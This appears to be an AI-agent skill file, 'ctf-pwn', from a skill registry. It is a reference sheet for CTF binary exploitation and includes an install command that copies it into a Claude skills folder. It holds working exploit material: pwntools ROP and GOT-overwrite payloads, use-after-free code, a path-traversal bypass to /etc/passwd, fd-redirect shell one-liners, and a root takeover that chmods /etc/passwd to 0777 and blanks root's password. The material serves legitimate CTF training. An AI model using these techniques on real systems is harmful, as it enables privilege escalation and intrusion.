Claude-skill-registry ctf-pwn
Binary exploitation (pwn) techniques for CTF challenges. Use when exploiting buffer overflows, format strings, heap vulnerabilities, race conditions, or kernel bugs.
git clone https://github.com/majiayu000/claude-skill-registry
T=$(mktemp -d) && git clone --depth=1 https://github.com/majiayu000/claude-skill-registry "$T" && mkdir -p ~/.claude/skills && cp -r "$T/skills/data/ctf-pwn" ~/.claude/skills/majiayu000-claude-skill-registry-ctf-pwn && rm -rf "$T"
skills/data/ctf-pwn/SKILL.mdCTF Binary Exploitation (Pwn)
Quick reference for pwn challenges. For detailed techniques, see supporting files.
Additional Resources
- format-string.md - Format string exploitation (leaks, GOT overwrite, blind pwn, filter bypass)
- advanced.md - Advanced techniques (heap, JIT, esoteric GOT, custom allocators, DNS overflow)
Source Code Red Flags
- Threading/
→ race conditionspthread
/usleep()
→ timing windowssleep()- Global variables in multiple threads → TOCTOU
Race Condition Exploitation
bash -c '{ echo "cmd1"; echo "cmd2"; sleep 1; } | nc host port'
Common Vulnerabilities
- Buffer overflow:
,gets()
,scanf("%s")strcpy() - Format string:
printf(user_input) - Integer overflow, UAF, race conditions
Kernel Exploitation
- Look for vulnerable
handlers allowing OOB read/writelseek - Heap grooming with forked processes
- SUID binary exploitation via kernel-to-userland buffer overflow
- Check kernel config for disabled protections:
→ sequential heap chunksCONFIG_SLAB_FREELIST_RANDOM=n
→ predictable allocationsCONFIG_SLAB_MERGE_DEFAULT=n
FUSE/CUSE Character Device Exploitation
FUSE (Filesystem in Userspace) / CUSE (Character device in Userspace)
Identification:
- Look for
orcuse_lowlevel_main()
callsfuse_main() - Device operations struct with
,open
,read
handlerswrite - Device name registered via
or similarDEVNAME=backdoor
Common vulnerability patterns:
// Backdoor pattern: write handler with command parsing void backdoor_write(const char *input, size_t len) { char *cmd = strtok(input, ":"); char *file = strtok(NULL, ":"); char *mode = strtok(NULL, ":"); if (!strcmp(cmd, "b4ckd00r")) { chmod(file, atoi(mode)); // Arbitrary chmod! } }
Exploitation:
# Change /etc/passwd permissions via custom device echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor # 511 decimal = 0777 octal (rwx for all) # Now modify passwd to get root echo "root::0:0:root:/root:/bin/sh" > /etc/passwd su root
Privilege escalation via passwd modification:
- Make
writable via the backdoor/etc/passwd - Replace root line with
(no password)root::0:0:root:/root:/bin/sh
without password promptsu root
Busybox/Restricted Shell Escalation
When in restricted environment without sudo:
- Find writable paths via character devices
- Target system files:
,/etc/passwd
,/etc/shadow/etc/sudoers - Modify permissions then content to gain root
Protection Implications for Exploit Strategy
| Protection | Status | Implication |
|---|---|---|
| PIE | Disabled | All addresses (GOT, PLT, functions) are fixed - direct overwrites work |
| RELRO | Partial | GOT is writable - GOT overwrite attacks possible |
| RELRO | Full | GOT is read-only - need alternative targets (hooks, vtables, return addr) |
| NX | Enabled | Can't execute shellcode on stack/heap - use ROP or ret2win |
| Canary | Present | Stack smash detected - need leak or avoid stack overflow (use heap) |
Quick decision tree:
- Partial RELRO + No PIE → GOT overwrite (easiest, use fixed addresses)
- Full RELRO → target
,__free_hook
(glibc < 2.34), or return addresses__malloc_hook - Stack canary present → prefer heap-based attacks or leak canary first
Stack Buffer Overflow
- Find offset to return address:
thencyclic 200cyclic -l <value> - Check protections:
checksec --file=binary - No PIE + No canary = direct ROP
- Canary leak via format string or partial overwrite
ret2win with Parameter (Magic Value Check)
Pattern: Win function checks argument against magic value before printing flag.
// Common pattern in disassembly void win(long arg) { if (arg == 0x1337c0decafebeef) { // Magic check // Open and print flag } }
Exploitation (x86-64):
from pwn import * # Find gadgets pop_rdi_ret = 0x40150b # pop rdi; ret ret = 0x40101a # ret (for stack alignment) win_func = 0x4013ac magic = 0x1337c0decafebeef offset = 112 + 8 # = 120 bytes to reach return address payload = b"A" * offset payload += p64(ret) # Stack alignment (Ubuntu/glibc requires 16-byte) payload += p64(pop_rdi_ret) payload += p64(magic) payload += p64(win_func)
Finding the win function:
- Search for
or similar in Ghidrafopen("flag.txt") - Look for functions with no XREF that check a magic parameter
- Check for conditional print/exit patterns after parameter comparison
Stack Alignment (16-byte Requirement)
Modern Ubuntu/glibc requires 16-byte stack alignment before
call instructions. Symptoms of misalignment:
- SIGSEGV in
instruction (SSE requires alignment)movaps - Crash inside libc functions (printf, system, etc.)
Fix: Add extra
ret gadget before your ROP chain:
payload = b"A" * offset payload += p64(ret) # Align stack to 16 bytes payload += p64(pop_rdi_ret) # ... rest of chain
Offset Calculation from Disassembly
push %rbp mov %rsp,%rbp sub $0x70,%rsp ; Stack frame = 0x70 (112) bytes ... lea -0x70(%rbp),%rax ; Buffer at rbp-0x70 mov $0xf0,%edx ; read() size = 240 (overflow!)
Calculate offset:
- Buffer starts at
(e.g., rbp-0x70)rbp - buffer_offset - Saved RBP is at
(0 offset from buffer end)rbp - Return address is at
rbp + 8 - Total offset = buffer_offset + 8 = 112 + 8 = 120 bytes
Input Filtering (memmem checks)
Some challenges filter input using
memmem() to block certain strings:
payload = b"A" * 120 + p64(gadget) + p64(value) assert b"badge" not in payload and b"token" not in payload
Finding Gadgets
# Find pop rdi; ret objdump -d binary | grep -B1 "pop.*rdi" ROPgadget --binary binary | grep "pop rdi" # Find simple ret (for alignment) objdump -d binary | grep -E "^\s+[0-9a-f]+:\s+c3\s+ret"
Struct Pointer Overwrite (Heap Menu Challenges)
Pattern: Menu-based programs with create/modify/delete/view operations on structs containing both data buffers and pointers. The modify/edit function reads more bytes than the data buffer, overflowing into adjacent pointer fields.
Struct layout example:
struct Student { char name[36]; // offset 0x00 - data buffer int *grade_ptr; // offset 0x24 - pointer to separate allocation float gpa; // offset 0x28 }; // total: 0x2c (44 bytes)
Exploitation:
from pwn import * WIN = 0x08049316 GOT_TARGET = 0x0804c00c # printf@GOT # 1. Create object (allocates struct + sub-allocations) create_student("AAAA", 5, 3.5) # 2. Modify name - overflow into pointer field with GOT address payload = b'A' * 36 + p32(GOT_TARGET) # 36 bytes padding + GOT addr modify_name(0, payload) # 3. Modify grade - scanf("%d", corrupted_ptr) writes to GOT modify_grade(0, str(WIN)) # Writes win addr as int to GOT entry # 4. Trigger overwritten function -> jumps to win
GOT target selection strategy:
- Identify which libc functions the
function calls internallywin - Do NOT overwrite GOT entries for functions used by
(causes infinite recursion/crash)win - Prefer functions called in the main loop AFTER the write
| Win uses | Safe GOT targets |
|---|---|
| puts, fopen, fread, fclose, exit | printf, free, getchar, malloc, scanf |
| printf, system | puts, exit, free |
| system only | puts, printf, exit |
ROP Chain Building
from pwn import * elf = ELF('./binary') libc = ELF('./libc.so.6') rop = ROP(elf) # Common gadgets pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] ret = rop.find_gadget(['ret'])[0] # Leak libc payload = flat( b'A' * offset, pop_rdi, elf.got['puts'], elf.plt['puts'], elf.symbols['main'] )
Pwntools Template
from pwn import * context.binary = elf = ELF('./binary') context.log_level = 'debug' def conn(): if args.REMOTE: return remote('host', port) return process('./binary') io = conn() # exploit here io.interactive()
Useful Commands
one_gadget libc.so.6 # Find one-shot gadgets ropper -f binary # Find ROP gadgets ROPgadget --binary binary # Alternative gadget finder seccomp-tools dump ./binary # Check seccomp rules
Use-After-Free (UAF) Exploitation
Pattern: Menu-based programs with create/delete/view operations where
free() doesn't NULL the pointer.
Classic UAF flow:
- Create object A (allocates chunk with function pointer)
- Leak address via inspect/view (bypass PIE)
- Free object A (creates dangling pointer)
- Allocate object B of same size (reuses freed chunk via tcache)
- Object B data overwrites A's function pointer with
addresswin() - Trigger A's callback → jumps to
win()
Key insight: Both structs must be the same size for tcache to reuse the chunk.
# UAP Watch pattern create_report("sighting-0") # 64-byte struct with callback ptr at +56 leak = inspect_report(0) # Leak callback address for PIE bypass pie_base = leak - redaction_offset win_addr = pie_base + win_offset delete_report(0) # Free chunk, dangling pointer remains # Allocate same-size struct, overwriting callback create_signal(b"A"*56 + p64(win_addr)) analyze_report(0) # Calls dangling pointer → win()
Seccomp Bypass
Alternative syscalls when seccomp blocks
open()/read():
(257),openat()
(437, often missed!),openat2()
(40),sendfile()
/readv()writev()
Check rules:
seccomp-tools dump ./binary
See advanced.md for: conditional buffer address restrictions, shellcode construction without relocations (call/pop trick), seccomp analysis from disassembly,
scmp_arg_cmp struct layout.
Stack Shellcode with Input Reversal
Pattern (Scarecode): Binary reverses input buffer before returning.
Strategy:
- Leak address via info-leak command (bypass PIE)
- Find
gadgetsub rsp, 0x10; jmp *%rsp - Pre-reverse shellcode and RIP overwrite bytes
- Use partial 6-byte RIP overwrite (avoids null bytes from canonical addresses)
- Place trampoline (
) to hop back into NOP sled + shellcodejmp short
Null-byte avoidance with
:scanf("%s")
- Can't embed
in payload\x00 - Use partial pointer overwrite (6 bytes) — top 2 bytes match since same mapping
- Use short jumps and NOP sleds instead of multi-address ROP chains
Path Traversal Sanitizer Bypass
Pattern (Galactic Archives): Sanitizer skips character after finding banned char.
# Sanitizer removes '.' and '/' but skips next char after match # ../../etc/passwd → bypass with doubled chars: "....//....//etc//passwd" # Each '..' becomes '....' (first '.' caught, second skipped, third caught, fourth survives)
Flag via
:/proc/self/fd/N
- If binary opens flag file but doesn't close fd, read via
/proc/self/fd/3 - fd 0=stdin, 1=stdout, 2=stderr, 3=first opened file
Global Buffer Overflow (CSV Injection)
Pattern (Spreadsheet): Adjacent global variables exploitable via overflow.
Exploitation:
- Identify global array adjacent to filename pointer in memory
- Overflow array bounds by injecting extra delimiters (commas in CSV)
- Overflowed pointer lands on filename variable
- Change filename to
, then trigger read operationflag.txt
# Edit last cell with comma-separated overflow edit_cell("J10", "whatever,flag.txt") save() # CSV row now has 11 columns load() # Column 11 overwrites savefile pointer with ptr to "flag.txt" load() # Now reads flag.txt into spreadsheet print_spreadsheet() # Shows flag
Shell Tricks
File descriptor redirection (no reverse shell needed):
# Redirect stdin/stdout to client socket (fd 3 common for network) exec <&3; sh >&3 2>&3 # Or as single command string exec<&3;sh>&3
- Network servers often have client connection on fd 3
- Avoids firewall issues with outbound connections
- Works when you have command exec but limited chars
Find correct fd:
ls -la /proc/self/fd # List open file descriptors
Short shellcode alternatives:
- minimal shell redirectsh<&3 >&3- Use
instead of$0
in some shellssh